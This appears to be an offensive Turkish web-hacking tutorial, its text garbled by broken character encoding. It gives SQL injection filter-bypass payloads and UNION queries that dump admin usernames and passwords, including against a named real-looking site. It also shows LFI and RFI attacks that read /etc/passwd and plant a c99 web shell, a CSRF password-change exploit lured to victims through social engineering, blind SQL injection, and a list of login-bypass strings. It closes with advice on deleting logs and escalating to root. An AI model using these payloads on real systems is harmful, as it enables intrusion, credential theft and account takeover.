deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
